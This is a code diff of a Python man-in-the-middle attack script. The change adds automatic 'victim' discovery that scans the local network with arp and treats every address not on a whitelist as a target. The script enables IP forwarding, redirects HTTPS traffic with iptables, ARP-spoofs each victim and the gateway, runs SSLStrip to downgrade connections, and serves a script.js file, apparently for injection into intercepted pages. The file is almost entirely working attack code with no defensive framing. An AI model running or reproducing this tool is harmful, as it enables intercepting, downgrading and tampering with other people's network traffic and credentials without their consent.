|
@ -1,13 +1,32 @@ |
|
|
import os |
|
|
|
|
|
import sys |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
import subprocess, re, os, sys |
|
|
|
|
|
|
|
|
|
|
|
def get_victims(): |
|
|
|
|
|
whitelist = 'whitelist.txt' |
|
|
|
|
|
victims = [] |
|
|
|
|
|
ip_str = subprocess.check_output(['arp','-a']) # use arp -a to get connected devices |
|
|
|
|
|
ip_list = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", ip_str) # use regex to turn the output into a list |
|
|
|
|
|
|
|
|
|
|
|
if not os.path.isfile(whitelist): |
|
|
|
|
|
victims = ip_list |
|
|
|
|
|
print("No %s! Continuing...") % whitelist |
|
|
|
|
|
else: |
|
|
|
|
|
for ip in ip_list: |
|
|
|
|
|
if not ip in open('whitelist.txt').read(): |
|
|
|
|
|
#add ip to victim's list if it's not in whitelist.txt |
|
|
|
|
|
victims.append(ip) |
|
|
|
|
|
else: |
|
|
|
|
|
print("Skipping whitelisted ip %s") % ip |
|
|
|
|
|
|
|
|
|
|
|
return victims |
|
|
|
|
|
|
|
|
#get gateway_ip (router) |
|
|
#get gateway_ip (router) |
|
|
gateway = sys.argv[1] |
|
|
gateway = sys.argv[1] |
|
|
print("gateway: " + gateway) |
|
|
print("gateway: " + gateway) |
|
|
# get victims_ip |
|
|
# get victims_ip |
|
|
victims = [line.rstrip('\n') for line in open("victims.txt")] |
|
|
|
|
|
print("victims:") |
|
|
|
|
|
print(victims) |
|
|
|
|
|
|
|
|
victims = get_victims() |
|
|
|
|
|
print("victims: ") |
|
|
|
|
|
for v in victims: |
|
|
|
|
|
print(v) |
|
|
|
|
|
|
|
|
# configure routing (IPTABLES) |
|
|
# configure routing (IPTABLES) |
|
|
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") |
|
|
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") |
|
@ -20,6 +39,9 @@ os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRE |
|
|
for victim in victims: |
|
|
for victim in victims: |
|
|
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") |
|
|
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") |
|
|
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") |
|
|
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") |
|
|
|
|
|
|
|
|
|
|
|
# run SSLStrip on port 8000 |
|
|
|
|
|
os.system("python sslstrip/sslstrip.py -l 8000 &") |
|
|
|
|
|
|
|
|
# start the http server for serving the script.js, in a new console |
|
|
# start the http server for serving the script.js, in a new console |
|
|
os.system("xterm -hold -e 'python3 httpServer.py' &") |
|
|
os.system("xterm -hold -e 'python3 httpServer.py' &") |
|
|